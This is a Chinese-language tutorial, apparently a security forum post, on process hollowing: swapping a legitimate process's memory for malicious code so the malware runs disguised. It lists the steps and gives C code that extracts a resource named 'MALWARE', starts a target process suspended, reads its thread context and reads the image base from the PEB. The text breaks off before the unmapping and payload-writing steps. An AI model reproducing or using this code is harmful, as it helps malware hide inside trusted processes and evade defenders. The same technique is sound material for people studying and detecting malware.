本文的进程替换是指将正在运行的程序的内存空间用恶意代码替换掉. 如果被替换的进程是合法的进程, 那么恶意代码可以披着合法的外衣干坏事了. 当然坏事干多了还是会被发现的.
替换的过程如下:
1. 创建一个挂起状态(SUSPEND)的进程, 此时进程的主线程还未开始运行.
2. 读取主线程的上下文(CONTEXT), 并读取新创建进程的基址.
3. 使用NtUnmapViewOfSection将新创建的进程的内存空间释放掉, 随后可以开始填充恶意代码.
4. 设置主线程的上下文, 启动主线程.
一. 我将恶意代码当成资源文件, 所以先将资源文件加载到内存中.
LPVOID ExtractRes(HMODULE hModule)
{
HRSRC hResInfo;
HGLOBAL hResData;
LPVOID lpResLock;
DWORD dwSize;
LPVOID lpAddr;
hResInfo = FindResource(hModule, MAKEINTRESOURCE(101), _T("MALWARE"));
hResData = LoadResource(hModule, hResInfo);
lpResLock = LockResource(hResData);
dwSize = SizeofResource(hModule, hResInfo);
lpAddr = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpAddr, lpResLock, dwSize);
return lpAddr;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0)
{
return -1;
}
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == 0)
{
return -1;
}
// EBX points to PEB, offset 8 is the pointer to the base address
if (ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &dwVictimBaseAddr, sizeof(PVOID), NULL) == 0)
{
return -1;
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!